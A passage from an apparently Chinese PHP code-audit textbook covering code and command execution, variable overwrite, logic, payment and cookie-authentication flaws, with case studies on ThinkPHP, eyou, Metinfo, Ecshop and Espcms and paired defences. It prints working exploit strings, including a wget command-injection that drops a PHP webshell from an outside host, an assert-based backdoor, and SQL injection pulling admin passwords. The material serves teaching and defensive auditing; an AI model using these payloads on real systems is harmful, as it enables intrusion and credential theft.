xml_set_notation_decl_handler （） xml_set_processing_instruction_handler （） xml_set_start_namespace_decl_handler （） xml_set_unparsed_entity_decl_handler （）、 stream_filter_register （） set_error_handler （）、 register_shutdown_function （）、 register_tick_function （） 5.2.1.2 动态函数执行 由于PHP的特性原因，PHP的函数可以直接由字符串拼接，这导致了PHP在安全上的控制又加大了难度，比如增加了漏洞数量和提高了PHP后门的查杀难度。 要找漏洞就要先理解为什么程序代码要这么写，不少知名程序中也用到了动态函数的写法，这种写法跟使用call_user_func的初衷是一样的，大多用在框架里，用来更简单更方便地调用函数，但是一旦过滤不严格就会造成代码执行漏洞。 PHP动态函数写法为“变量（参数）”，我们来看一个动态函数后门的写法： < ？"},
    {"text": "当请求a参数值为assert，b参数值为phpinfo（）的时候打印出phpinfo信息，请求如下： http ： //127.0.0.1/test/1.php ？ a=assert&b=phpinfo （） 执行结果如图5-10所示。"},
    {"text": "5.2.1.3 Thinkphp代码执行漏洞分析 要分析代码执行的案例，在Java界来说就是Struts2的代码执行了，不过在PHP领域，国内影响比较大的代码执行漏洞非thinkphp框架URL解析的代码执行漏洞莫属，这个漏洞的影响力，做渗透测试的安全人员应该比较清楚，在国内还是会经常遇到这个漏洞的。 下面我们来分析这个漏洞的原理，thinkphp框架的GET参数以index.php/a/b/c的形式传递，程序在获取参数之前需要先解析URL，漏洞就发生在解析URL的地方，官方补丁对比地址如下： https://code.google.com/p/thinkphp/source/diff？"},
    {"text": "漏洞出现在/ThinkPHP/Lib/Core/Dispatcher.class.php文件的dispatch（）函数，为了节省篇幅，这里只贴出关键代码： $depr = C （ 'URL_PATHINFO_DEPR' ）；"},
    {"text": "empty （ $_SERVER['PATH_INFO'] ）） { tag （ 'path_info' ）； if （ C （ 'URL_HTML_SUFFIX' ）） { $_SERVER['PATH_INFO'] = preg_replace （ '/\\.'.trim （ C （ 'URL_HTML_SUFFIX' ）， '.' ） .'$/i' ， '' ， $_SERVER['PATH_INFO'] ）；"},
    {"text": "self ：： routerCheck （）） { // 检测路由规则 如果没有则按默认规则调度 URL $paths = explode （ $depr ， trim （ $_SERVER['PATH_INFO'] ， '/' ））；"},
    {"text": "// 解析剩余的 URL 参数 $res = preg_replace （ '@ （ \\w+ ） '.$depr.' （ [^'.$depr.'\\/]+ ） @e' ， '$var [\\'\\\\1\\']=\"\\\\2\" ；"},
    {"text": "} 可以看到这里使用preg_replace（）函数，我们在前面已经介绍了关于这个函数的代码执行漏洞，这个函数里面的变量为$depr和$paths，代码中的这句话： $depr = C （ 'URL_PATHINFO_DEPR' ）； 是取得配置中的参数分隔符，下面这句话： $paths = explode （ $depr ， trim （ $_SERVER['PATH_INFO'] ， '/' ））； 则是从$_SERVER['PATH_INFO']中以$depr为分隔符分割后的数组，而后面又用implode（）函数还原成字符串才带入preg_replace（）函数，关键在于： '$var[\\'\\\\1\\']=\"\\\\2\" ； ' 代码的意思是，把正则匹配出来的参数1初始化到$var变量中，并且赋值为参数2的值，问题是这段代码在赋值的时候使用的是双引号（\"），在PHP中，如果字符串使用双引号括起来，中间的变量是会正常解析的，如： < ？"},
    {"text": "> 会输出1，而不是$a，利用这个特性，再结合PHP可变变量即可执行任意代码，最终EXP为： /index.php/module/action/param1/${@phpinfo （） } 5.2.2 漏洞防范 采用参数白名单过滤，在可预测满足正常业务的参数情况下，这是非常实用的方式，这里的白名单并不是说完全固定为参数，因为在eval（）、assert（）和preg_replace（）函数的参数中大部分是不可预测一字不差的，我们可以结合正则表达式来进行白名单限制，用上面的thinkphp来举例，如果我们事先已经知道这个URL里面的第二个参数值由数字构成即可满足业务需求，则可以在正则里用\\d+来限制第二个参数内容，这样相对更加安全，用代码举例更加清晰易懂，代码如下： < ？"},
    {"text": "a=b|${@phpinfo（）}即可执行phpinfo（）函数，这时候如果我们知道\\\\2的值范围为纯数字，只要正则改成（\\w+）\\|（\\d+）即可解决执行代码的问题，这只是一种修复方案，最好的方法是：在$\\\\1=\"\\\\2\"这里不要用双引号。"},
    {"text": "5.3 命令执行漏洞 代码执行漏洞指的是可以执行PHP脚本代码，而命令执行漏洞指的是可以执行系统或者应用指令（如CMD命令或者bash命令）的漏洞，PHP的命令执行漏洞主要基于一些函数的参数过滤不严导致，可以执行命令的函数有system（）、exec（）、shell_exec（）、passthru（）、pcntl_exec（）、popen（）、proc_open（），一共七个函数，另外反引号（`）也可以执行命令，不过实际上这种方式也是调用的shell_exec（）函数。 PHP执行命令是继承WebServer用户的权限，这个用户一般都有权限向Web目录写文件，可见该漏洞的危害性相当大。 5.3.1 挖掘经验 命令执行漏洞最多出现在包含环境包的应用里，类似于eyou（亿邮）这类产品，直接在系统安装即可启动自带的Web服务和数据库服务，一般这类的产品会有一些额外的小脚本来协助处理日志以及数据库等，Web应用会有比较多的点之间使用system（）、exec（）、shell_exec（）、passthru（）、pcntl_exec（）、popen（）、proc_open（）等函数执行系统命令来调用这些脚本，用得多了难免就会出现纰漏导致漏洞，这类应用可以直接在代码里搜这几个函数，收获应该会不少。 除了这类应用，还有像discuz等应用也有调用外部程序的功能，如数据库导出功能，曾经就出现过命令执行漏洞，因为特征比较明显，所以可以直接搜函数名即可进行漏洞挖掘。 5.3.1.1 命令执行函数 上面我们说到有七个常用函数可以执行命令，包括system（）、exec（）、shell_exec（）、passthru（）、pcntl_exec（）、popen（）、proc_open（），另外还有反引号（`）也一样可以执行命令，下面我们来看看它们的执行方式。 这些函数里system（）、exec（）、shell_exec（）、passthru（）以及反引号（`）是可以直接传入命令并且函数会返回执行结果，比较简单和好理解，其中system（）函数会直接回显结果打印输出，不需要echo也可以，我们来用代码举例。"},
    {"text": "pcntl是PHP的多进程处理扩展，在处理大量任务的情况下会使用到，使用pcntl需要额外安装，它的函数说明如下： void pcntl_exec （ string $path [ ， array $args [ ， array $envs ]] ） 图 5-11 其中$path为可执行程序路径，如果是Perl或者Bash脚本，则需要在文件头加上#！"},
    {"text": "popen（）、proc_open（）函数不会直接返回执行结果，而是返回一个文件指针，但命令是已经执行了，我们主要关心的是这个。 下面我们看看popen（）的用法，它需要两个参数，一个是执行的命令，另外一个是指针文件的连接模式，有r和w代表读和写。"},
    {"text": "5.3.1.2 反引号命令执行 上面我们讲到反引号（`）也可以执行命令，它的写法很简单，实际上反引号（`）执行命令是调用的shell_exec（）函数，为什么这么说？"},
    {"text": "> 这段代码正常执行的情况下是会输出当前用户名的，而我们在php.ini里面把PHP安全模式打开一下，再重启下WebServer重新加载PHP配置文件，再执行这段代码的时候，我们会看到下面这个提示： Warning ： shell_exec （） [function.shell-exec] ： Cannot execute using backquotes in Safe Mode in D ： \\www\\test\\1.php on line 2 这个提示说明反引号执行命令的方式是使用的shell_exec（）函数。"},
    {"text": "5.3.1.3 亿邮命令执行漏洞分析 命令执行的漏洞案例还是有很多的，这里挑选笔者自己挖到的比较经典的一个eyou（亿邮）的命令执行漏洞，重点在于漏洞的逻辑，而不在于漏洞的影响力有多大。"},
    {"text": "php //-- 获得 UID ， DOMAIN ， TOKEN $uid = $_GET['uid'] ； // 从 GET 中获取 uid 参数 $domain=$_GET['domain'] ； // 从 GET 中获取 domain 参数 $token = $_GET['token'] ；"},
    {"text": "if （（ int ） $_SERVER['CONTENT_LENGTH'] > $multiplier* （ int ） $POST_MAX_SIZE && $POST_MAX_SIZE ） { header （ \"HTTP/1.1 500 Internal Server Error\" ）； echo \"POST exceeded maximum allowed size.\" ；"},
    {"text": "} //-- 获得附件存放路径 存在用户的 token 目录下 $save_path = getUserDirPath （ $uid ， $domain ）； // 传入 uid 参数到 getUserDirPath （）函数 从代码中可以看出，$uid=$_GET['uid']； 表示从GET中获取uid参数，在下面一点将$uid变量传递到了getUserDirPath（）函数，跟进该函数，在/inc/function.php文件，代码如下： function getUserDirPath （ $uid ， $domain ） { $cmd = \"/var/eyou/sbin/hashid $uid $domain\" ；"},
    {"text": "可以看到$uid和$domain变量都是从GET请求中获取的，最终通过反引号（`）来执行，所以我们可以直接注入命令，最终exp为： /swfupload/upload_files.php ？ uid=|wget+http ： //www.x.com/1.txt+-O+/var/eyou/apache/htdocs/swfupload/a.php&domain= 表示下载http://www.x.com/1.txt到/var/eyou/apache/htdocs/swfupload/a.php文件。"},
    {"text": "5.3.2 漏洞防范 关于命令执行漏洞的防范大致有两种方式：一种是使用PHP自带的命令防注入函数，包括escapeshellcmd（）和escapeshellarg（），其中escapeshellcmd（）是过滤的整条命令，所以它的参数是一整条命令，escapeshellarg（）函数则是用来保证传入命令执行函数里面的参数确实是以字符串参数形式存在的，不能被注入。"},
    {"text": "5.3.2.1 命令防注入函数 PHP在SQL防注入上有addslashes（）和mysql_[real_]escape_string（）等函数过滤SQL语句，在命令上也同样有防注入函数，一共有两个escapeshellcmd（）和escapeshellarg（），从函数名我们可以看出，escapeshellcmd（）是过滤的整条命令，它的函数说明如下： string escapeshellcmd （ string $command ） 输入一个string类型的参数，为要过滤的命令，返回过滤后的string类型的命令，过滤的字符为'&'、'；"},
    {"text": "'、'~'、'<'、'>'、'^'、'（'、'）'、'['、']'、'{'、'}'、'$'、'\\'、'\\x0A'、'\\xFF'、’%’，'和\"仅仅在不成对的时候被转义，我们在Windows环境测试下，测试代码： < ？"},
    {"text": "escapeshellarg（）函数的功能则是过滤参数，将参数限制在一对双引号里，确保参数为一个字符串，因此它会把双引号替换为空格，我们来测试一下： < ？"},
    {"text": "> 图 5-12 最终输出为ls\"a\" 5.3.2.2 参数白名单 参数白名单方式在大多数由于参数过滤不严产生的漏洞中都很好用，是一种通用修复方法，我们之前已经讲过，可以在代码中或者配置文件中限定某些参数，在使用的时候匹配一下这个参数在不在这个白名单列表中，如果不在则直接显示错误提示即可，具体的实施代码这里不再重复。"},
    {"text": "第6章 漏洞挖掘与防范（深入篇） 在学习完基础篇和进阶篇之后，你是否对代码审计有了相对透彻的了解呢？相信现在挖掘一些常见漏洞对你来说已经so easy，那么我们将开始进入下一阶段“深入篇”。在本章，我们会介绍更多PHP特性相关的漏洞，另外对于有逻辑的漏洞也会在这篇开始介绍，是否准备好了呢？"},
    {"text": "6.1 变量覆盖漏洞 变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值，变量覆盖漏洞通常需要结合程序的其他功能来实现完整攻击，这个漏洞想象空间非常大，比如原本一个文件上传页面，限制的文件扩展名白名单列表写在配置文件中变量中，但是在上传的过程中有一个变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表，那我们就可以覆盖进去一个PHP的扩展名，从而上传一个PHP的shell。 变量覆盖漏洞大多由函数使用不当导致，经常引发变量覆盖漏洞的函数有：extract（）函数和parse_str（），import_request_variables（）函数则是用在没有开启全局变量注册的时候，调用了这个函数则相当于开启了全局变量注册，在PHP 5.4之后这个函数已经被取消。 另外部分应用利用$$的方式注册变量没验证已有变量导致覆盖也是国内多套程序都犯过的一个问题，这些应用在使用外部传递进来的参数时不是用类似于$_GET['key']这样原始的数组变量，而是把里面的key注册成了一个变量$key，注册过程中由于没有验证该变量是否已经存在就直接赋值，所以导致已有的变量值会被覆盖掉。 6.1.1 挖掘经验 由于变量覆盖漏洞通常要结合应用其他功能代码来实现完整攻击，所以挖掘一个可用的变量覆盖漏洞不仅仅要考虑的是能够实现变量覆盖，还要考虑后面的代码能不能让这个漏洞利用起来。 要挖可用的变量覆盖漏洞，一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。 由函数导致的变量覆盖比较好挖掘，只要搜寻参数带有变量的extract（）、parse_str（）函数，然后去回溯变量是否可控，extract（）还要考虑它的第二个参数，具体细节我们后面在详细介绍这个函数的时候再讲。 import_request_variables（）函数则相当于开了全局变量注册，这时候只要找哪些变量没有初始化并且操作之前没有赋值的，然后就大胆地去提交这个变量作为参数吧，另外只要写在import_request_variables（）函数前面的变量，不管是否已经初始化都可以覆盖，不过这个函数在PHP 4~4.1.0和PHP 5~5.4.0的版本可用。 关于上面我们说到国内很多程序使用双$$符号注册变量会导致变量覆盖，我们可以通过搜“$$”这个关键字去挖掘，不过建议挖掘之前还是先把几个核心文件通读一遍，了解程序的大致框架。 6.1.1.1 函数使用不当 目前变量覆盖漏洞大多都是由于函数使用不正确导致的，这些函数有extract（）、parse_str（）以及import_request_variables（），而其中最常见的就是extract（）这个函数了，使用频率最高，导致的漏洞数量也最多，下面我们分别来看看这几个函数导致的漏洞原理吧。 1.extract函数 extract（）函数覆盖变量需要一定条件，它的官方功能说明为“从数组中将变量导入到当前的符号表”，通俗讲就是将数组中的键值对注册成变量，函数结构如下： int extract （ array &$var_array [ ， int $extract_type = EXTR_OVERWRITE [ ， string $prefix = NULL ]] ） 最多三个参数，我们来看看这三个参数的作用，参见表6-1。 表 6-1 从以上说明我们可以看到第一个参数是必须的，会不会导致变量覆盖漏洞由第二个参数决定，该函数有三种情况会覆盖掉已有变量，第一种是第二个参数为EXTR_OVERWRITE，它表示如果有冲突，则覆盖已有的变量。 第二种情况是只传入第一个参数，这时候默认为EXTR_OVERWRITE模式，而第三种则是第二个参数为EXTR_IF_EXISTS，它表示仅在当前符号表中已有同名变量时，覆盖它们的值，其他的都不注册新变量。"},
    {"text": "2.parse_str函数 parse_str（）函数的作用是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否已经存在，所以会直接覆盖掉已有变量。 parse_str（）函数有两个参数，函数说明如下： void parse_str （ string $str [ ， array &$arr ] ） 其中$str是必须的，代表要解析注册成变量的字符串，形式为“a=1”，经过parse_str（）函数之后会注册变量$a并且赋值为1。 第二个参数$arr是一个数组，当第二个参数存在时，注册的变量会放到这个数组里面，但是如这个数组原来就存在相同的键（key），则会覆盖掉原有的键值。"},
    {"text": "图 6-2 3.import_request_variables函数 import_request_variables（）函数作用是把GET、POST、COOKIE的参数注册成变量，用在register_globals被禁止的时候，需要PHP 4.1至5.4之间的版本，不过建议是不开启register_globals也不要使用import_request_variables（）函数，这样容易导致变量覆盖。 该函数的说明如下： bool import_request_variables （ string $types [ ， string $prefix ] ） 其中$type代表要注册的变量，G代表GET，P代表POST，C代表COOKIE，所以当$type为GPC的时候，则会注册GET、POST、COOKIE参数为变量。 第二个参数$prefix为要注册的变量前缀，这里我们不细说，来看看它是怎么覆盖变量的，测试代码如下： < ？"},
    {"text": "图 6-3 6.1.1.2 $$变量覆盖 曾经有一段很经典的$$注册变量导致变量覆盖的代码，在很多应用上面都出现过这个问题，这段代码如下： foreach （ array （ '_COOKIE' ， '_POST' ， '_GET' ） as $_request ） { foreach （ $$_request as $_key => $_value ） { $$_key = addslashes （ $_value ）； } } 为什么它会导致变量覆盖呢，重点在$$符号，从代码中我们可以看出$_key为COOKIE、POST、GET中的参数，比如提交？"},
    {"text": "图 6-4 6.1.1.3 Metinfo变量覆盖漏洞分析 由于之前笔者挖到的这类漏洞没有记录，所以这里的案例是笔者临时看了一下metinfo的代码找的，我们尝试用它的变量覆盖漏洞进行SQL注入，在metinfo的include/common.inc.php文件中代码如下： < ？"},
    {"text": "php /**** 省略 ******/ $db_settings = parse_ini_file （ ROOTPATH.'config/config_db.php' ）； @extract （ $db_settings ）； //require_once ROOTPATH.'config/tablepre.php' ； require_once ROOTPATH.'include/mysql_class.php' ； $db = new dbmysql （）； $db->dbconn （ $con_db_host ， $con_db_id ， $con_db_pass ， $con_db_name ）；"},
    {"text": "isset （ $_REQUEST['GLOBALS'] ） && exit （ 'Access Error' ）； require_once ROOTPATH.'include/global.func.php' ； foreach （ array （ '_COOKIE' ， '_POST' ， '_GET' ） as $_request ） { foreach （ $$_request as $_key => $_value ） { $_key{0} ！ = '_' && $$_key = daddslashes （ $_value ）； } } $query=\"select * from {$tablepre}config where name='met_tablename' and lang='metinfo'\" ； $mettable=$db->get_one （ $query ）； $mettables=explode （ '|' ， $mettable[value] ）； foreach （ $mettables as $key=>$val ） { $tablename='met_'.$val ； $$tablename=$tablepre.$val ；"},
    {"text": "} 变量覆盖核心的代码如下： foreach （ array （ '_COOKIE' ， '_POST' ， '_GET' ） as $_request ） { foreach （ $$_request as $_key => $_value ） { $_key{0} ！"},
    {"text": "} } 这就是上面我们据介绍过的$$变量覆盖的经典代码，在这段代码之前的变量，我们都可以覆盖掉，包括数据库配置，这样就能搭建远程数据库服务以登录后台，不过我们只是为了说明这个漏洞，所以不搞那么复杂，可以看到下面有一个SQL语句中使用了$tablepre变量： $query=\"select * from {$tablepre}config where name='met_tablename' and lang='metinfo'\" ；"},
    {"text": "tablepre=mysql.user limit 1 %23 则执行的SQL语句为： select * from mysql.user limit 1 #config where name='met_tablename' and lang='metinfo' 我们在以上代码的最后加上： echo $tablepre.'<br/>' ；"},
    {"text": "图 6-5 6.1.2 漏洞防范 变量覆盖漏洞最常见漏洞点是在做变量注册时没有验证变量是否存在，以及在赋值给变量的时候，所以我们推荐使用原始的变量数组，如$_GET、$_POST，或者在注册变量前一定要验证变量是否存在。 6.1.2.1 使用原始变量 以上我们说的变量覆盖漏洞都是因为在进行变量注册而导致，所以要解决变量覆盖的问题，最直接的方法就是不进行变量注册，建议直接用原生的$_GET、$_POST等数组变量进行操作，如果考虑程序可读性等原因，需要注册个别变量，可以直接在代码中定义变量，然后再把请求中的值赋值给它。 6.1.2.2 验证变量存在 如果一定要使用前面几种方式注册变量，为了解决变量覆盖的问题，可以在注册变量前先判断变量是否存在，如使用extract（）函数则可以配置第二个参数为EXTR_SKIP。 使用parse_str（）函数注册变量前需要先自行通过代码判断变量是否存在。 笔者不建议使用import_request_variables（）函数注册全局变量，会导致变量不可控。 最重要的一点，自行申明的变量一定要初始化，不然即使注册变量代码在执行流程最前面也能覆盖掉这些未初始化的变量。"},
    {"text": "6.2 逻辑处理漏洞 广义上来说，大多数的漏洞都是由于程序的逻辑失误导致的，都可以叫做逻辑漏洞，但我们这里说的逻辑漏洞没有那么大范围，这里指程序在业务逻辑上面的漏洞，业务逻辑漏洞也是一个不小的范围，在不同的业务场景有不同的漏洞出现，目前逻辑漏洞是各大企业存在最多的漏洞之一，因为逻辑漏洞在挖掘和利用时都需要进行一些逻辑判断，机器代码很难模拟这块的逻辑处理，所以无法用机器批量化扫描检测，检测的少了，现存的漏洞自然就多了。 下面我们从代码层逻辑错误导致的漏洞开始分析，再到应用业务层常见漏洞分析，如支付、找回密码、程序安装等。 6.2.1 挖掘经验 由于业务逻辑漏洞大多都存在逻辑处理以及业务流程中，没有特别明显的关键字可以用来快速定位，通常这类漏洞的挖掘技巧是通读功能点源码，先熟悉这套程序的业务流程，后面挖掘起来就会比较顺畅，值得关注的点是程序是否可重复安装、修改密码处是否可越权修改其他用户密码、找回密码验证码是否可暴力破解以及修改其他用户密码、cookie是否可预测或者说cookie验证是否可绕过等等。 6.2.1.1 等于与存在判断绕过 在逻辑漏洞里，判断函数是非常典型的一个例子，明明学校老师教的，还有官方手册里面写的，都说某某函数在某某情况下会返回true，另外一种情况下会返回false，但是一旦这些函数存在漏洞，可以逃逸这个判断函数，那这个逻辑就可以绕过了，下面我们来看看有哪些常见又有漏洞的判断函数。"},
    {"text": "1.in_array函数 in_array（）函数是用来判断一个值是否在某一个数组列表里面，通常的判断方式如下： in_array （ 'b' ， array （ 'a' ， 'b' ， 'c' ）） 这样是没有什么问题的，我们再看下面这段代码： < ？ php if （ in_array （ $_GET['typeid'] ， array （ 1 ， 2 ， 3 ， 4 ） ）） { $sql=\"select .... where typeid='\".$_GET['typeid'].\"'\" ；"},
    {"text": "这段代码的作用是过滤GET参数typeid在不在1，2，3，4这个数组里面，如果在里面则拼接到SQL语句里，看起来好像是没有什么问题的，但是这个in_array（）函数存在一个问题，比较之前会自动做类型转换，如果我们请求/1.php？ typeid=1'union select...，我们看看最终输出的SQL语句是什么，如图6-6所示。 图 6-6 可以看到我们提交的typeid参数并不全等于1，2，3，4数组里面的任何一个值，但是，还是可以绕过这个检查并且成功注入。"},
    {"text": "} 代码看起来好像也没有什么问题，不过这个函数存在一个问题，当传入的参数为hex时则直接通过并返回true，而MySQL是可以直接使用hex编码代替字符串明文的，所以这块虽然不能直接注入SQL语句，但是存在二次注入和XSS等漏洞隐患，比如当我们提交“<script>alert（1）</scipt>”的hex编码“0x3c7363726970743e616c6572742831293c2f73636970743e”时，最终SQL语句的效果等同于： insert into xx values （ 'xx' ， '<script>alert （ 1 ） </scipt>' ） 如果应用程序有其他地方调用这个值，并且直接输出，则有可能执行这段代码，触发XSS漏洞。"},
    {"text": "3.双等于和三等于 PHP的双等于（==）和三等于（===）的区别，哪一个可能出现安全问题？ 这个问题是我经常在面试的时候提到，它们的区别在于，双等于在判断等于之前会先做变量类型转换，而三等于则不会，由于数据类型被改变，所以双等于在判断的时候可能存在安全风险，下面我们用代码来证明一下，代码如下： < ？"},
    {"text": "图 6-8 6.2.1.2 账户体系中的越权漏洞 越权漏洞分为水平越权和垂直越权，水平越权指原相同等级权限的用户，A用户可以查看或操作到B用户的私有信息，而这个查看或操作权限本来是A用户不该拥有的权限。 垂直权限指不在同权限等级的用户，低权限等级的用户A可以查看或操作高权限等级B的私有信息，而这个查看或操作权限本来是A用户不该拥有的权限。 水平越权和垂直越权的定义不一样，但漏洞原理是一样的，都是账户体系上在判断权限时不严格导致存在绕过漏洞，这一类的绕过通常发生在cookie验证不严、简单判断用户提交的参数，归根结底，都是因为这些参数是在客户端提交，服务器端未严格校验。"},
    {"text": "6.2.1.3 未exit或return引发的安全问题 某些情况下，在经过if条件判断之后，有两种操作，一种是继续执行if后面的代码，另外一种是在if体内退出当前操作，但是这个退出行为，有不少程序忘记写return、die（）或者exit（），导致程序还是会继续执行。"},
    {"text": "php if （ file_exists （ 'install.lock' ））） { // 程序已经安装，跳转到首页 header （ \"Location ： ../\" ）； } // …进入安装流程 很多程序的安装页面install.php文件的内容都有这么一段判断程序是否已经安装的代码，这段代码的意思是，判断“install.lock”文件是否存在，如果存在则跳转到首页，问题出在使用了header（）函数跳转，但是PHP程序并没有退出，还是会进入安装流程。"},
    {"text": "php if （ $_GET['var']==='aa' ） { // 程序已经安装，跳转到首页 header （ \"Location ： ../\" ）； } echo $_GET['var'] ； 当我们用浏览器访问的时候是看不到输出的$_GET参数的，因为浏览器接受到跳转指令后会立马跳转，我们用burp来抓返回的数据如图6-9所示。"},
    {"text": "图 6-9 可以看到输出了“aa”，说明经过header（）函数之后程序依然继续执行了，正确的写法应该是在header（）函数之后加一个exit（）或者die（）。"},
    {"text": "6.2.1.4 常见支付漏洞 曾经有不少体量不小的电子商务网站都出现过支付漏洞，最终导致的结果是不花钱或者花很少的钱买更多的东西，还真的有不少人测试漏洞之后真的收到了东西，这种天上掉馅饼的漏洞太有诱惑力了。 最常见的支付漏洞有四种，下面我们来看看这四种情况在代码审计的时候应该怎么挖。"},
    {"text": "第一、二、三种比较简单，分别是客户端可修改单价、总价和购买数量，服务器端未校验严格导致，比如在支付的时候一般购物车都如图6-10所示。 图 6-10 从图中我们可以看到三个关键元素，单价、总价和数量，这三个数字不管是哪个被改变，都会影响最终成交价格，部分商城程序是直接由单价和数量计算总价，但是并没有验证这两个数字是否小于0，在上图的例子中，驾驶服务器没有验证数量这个数字，我们可以在客户端把数字改成负数然后提交上去，这类的case很多，具体的可以到乌云（wooyun.org）查看，这种形式的支付漏洞，只要我们找到支付功能代码，看看代码过滤情况即可挖掘到。"},
    {"text": "还有一种是以重复发包来利用时间差，以少量的钱多次购买，说到大家以前听过比较多的就是手机刷QQ钻了，也是利用同样的原理，利用手机快速给腾讯发送一条开通QQ业务的短信，发送完之后再快速发送一条取消业务的短信到短信运营商，真正的漏洞出现在短信运营商那边而不是腾讯。"},
    {"text": "我们从图中可以看到一开始程序判断余额足够，然后两个订单都进入到服务开通流程，但是并还没有扣费，我们就是利用这个服务开通流程所花费的时间来多次开通业务。"},
    {"text": "6.2.1.5 Ecshop逻辑错误注入分析 这里我们用一个比较经典的ecshop支付宝支付插件漏洞来分析一下，据说这个漏洞出自360攻防实验室。 漏洞核心代码在\\includes\\modules\\payment\\alipay.php文件respond（）函数，代码如下： function respond （） { if （！"},
    {"text": "empty （ $_POST ）） { foreach （ $_POST as $key => $data ） { $_GET[$key] = $data ； } } $payment = get_payment （ $_GET['code'] ）； $seller_email = rawurldecode （ $_GET['seller_email'] ）； $order_sn = str_replace （ $_GET['subject'] ， '' ， $_GET['out_trade_no'] ）； $order_sn = trim （ $order_sn ）；"},
    {"text": "check_money （ $order_sn ， $_GET['total_fee'] ）） { /*---- 省略 ----*/ $order_sn变量由str_replace（$_GET['subject']，''，$_GET['out_trade_no']）； 控制，我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\\。 最终$order_sn被带入check_money（）函数。 我们跟进看一下在include\\lib_payment.php文件中109行，代码如下： function check_money （ $log_id ， $money ） { $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table （ 'pay_log' ） . \" WHERE log_id = '$log_id'\" ； $amount = $GLOBALS['db']->getOne （ $sql ）； if （ $money == $amount ） { /*---- 省略 ----*/ 此处就是漏洞现场。 原来的$order_sn被带入了数据库导致注入漏洞存在，这个漏洞的逻辑问题就在于本来一个已经过滤掉特殊字符的参数，又再次被用户自定义提交上来的参数替换，导致原来的过滤符合反斜杠被替换掉，程序员在写代码的时候没有考虑到这块的逻辑问题。"},
    {"text": "php $a=addslashes （ $_GET['a'] ）； $b=addslashes （ $_GET['b'] ）； print_r （ $a.'<br />' ）； print_r （ $b.'<br />' ）； print_r （ str_replace （ $a ， '' ， $b ））；"},
    {"text": "code=alipay&subject=0&out_trade_no=%00 ′ and （ select * from （ select count （ * ）， concat （ floor （ rand （ 0 ） *2 ），（ select concat （ user_name ， password ） from ecs_admin_user limit 1 ）） a from information_schema.tables group by a ） xxx ） -- 1 结果如图6-13所示。"},
    {"text": "图 6-13 6.2.2 漏洞防范 通过分析我们之前列举的几种逻辑漏洞，可以看到所有的逻辑漏洞都是因为开发者对业务逻辑或者代码逻辑理解不清楚导致。 每一种业务功能都有可能导致逻辑漏洞的产生，而业务功能里面的实现逻辑是人思考出来的，所以要解决这类逻辑问题需要注意以下两点： ·要深入熟悉业务逻辑，只有我们熟悉了业务的逻辑，才能根据业务需要编写满足需求而又不画蛇添足的代码。 ·要注意多熟悉函数的功能和差异，因为很多写代码写得很熟悉的人出现bug通常不是因为多一个字母或者少一个分号，而是代码执行逻辑上面考虑不周全导致。"},
    {"text": "6.3 会话认证漏洞 会话认证是一个非常大的话题，涉及各种认证协议和框架，如cookie、session、sso、oauth、openid等，出现问题比较多的在cookie上面，cookie是Web服务器返回给客户端的一段常用来标识用户身份或者认证情况的字符串，保存在客户端，浏览器下次请求时会自动带上这个标识，由于这个标识字符串可以被用户修改，所以存在安全风险，一般这块的认证安全问题都出在服务端直接取用cookie的数据而没有校验，其次是cookie加密数据存在可预测的情况。"},
    {"text": "sso、oauth、openid与cookie、session相比不是一个维度的东西，由于这块在应用代码审计没有什么合适的案例，暂时先不介绍。 6.3.1 挖掘经验 认证漏洞在代码审计的时候能遇到比较多的是出现在cookie验证上面，通常是没有使用session来认证，而是直接将用户信息保存在cookie中，程序使用的时候直接调用。"},
    {"text": "在挖掘登录认证漏洞的时候，可以先看一下程序的登录功能代码，看看整个登录过程的业务逻辑有没有可以控制session值或者直接绕过密码验证的漏洞； 另外需要关注程序验证是否为登录的代码，通俗的说是验证cookie的代码，是不是直接去取cookie里面的值，然后怎么去判断这个值来验证是否登录。 以前见过相当粗糙的验证是直接判断cookie里面的username参数是否为空，还有就是以cookie里面的用户名来作为当前用户，这种情况直接把用户名改成admin等管理员用户名就直接是管理员权限了。 6.3.1.1 cookie认证安全 cookie可以保存任何字符串，各个浏览器保存cookie字节数大小不一样，一般都不超过4096个字节，通常cookie用来保存登录账号的标识信息，比如用户名或者sessionid等，浏览器每次请求的时候都会再次带上对应这个域名的cookie信息，服务器应用程序可以对cookie进行读取修改或者删除等任意操作。 cookie出现问题比较多的是cookie的SQL注入等常见漏洞，以及Web应用程序在服务端直接读取cookie的用户名或者ID值来操作当前这个用户的数据，这里存在很大的一个问题是cookie可以伪造，从而就导致了伪造用户身份登录的漏洞。"},
    {"text": "function login （） { if （账号密码正确） { setcookie （ 'username' ， 'admin' ）； $_SESSION['username'] = 'admin' ； } } // 判断 cookie 里面的用户名是否和 session 里的用户名一致 if （ $_COOKIE['username']===$_SESSION['username'] ） { // 操作 $_SESSION['username'] 用户的数据 } else { login （）；"},
    {"text": "6.3.1.2 Espcms任意用户登录分析 我们这里以乌云漏洞编号为WooYun-2015-90324的“ESPCMS所有版本任意用户登录”漏洞来做一个简单的分析。"},
    {"text": "在文件/interface/memebermain.php的in_center（）函数可以看到如下代码： function in_center （） { if （ $this->CON['mem_isucenter'] ） { include_once admin_ROOT . 'public/uc_client/client.php' ；"},
    {"text": "$db_where = \"userid=$this->ec_member_username_id AND username='$this-> ec_member_username' \" ； $db_table1 = db_prefix . 'member AS a' ； $db_table2 = db_prefix . 'member_value AS b' ； $db_sql = \"SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id \" ； $rsMember = $this->db->fetch_first （ $db_sql ）； $rsMember['rankname'] = $this->get_member_purview （ $rsMember['mcid'] ， 'rankname' ）； $userid = $this->ec_member_username_id ； // 获取 userid if （ empty （ $userid ）） { exit （ 'user err ！"},
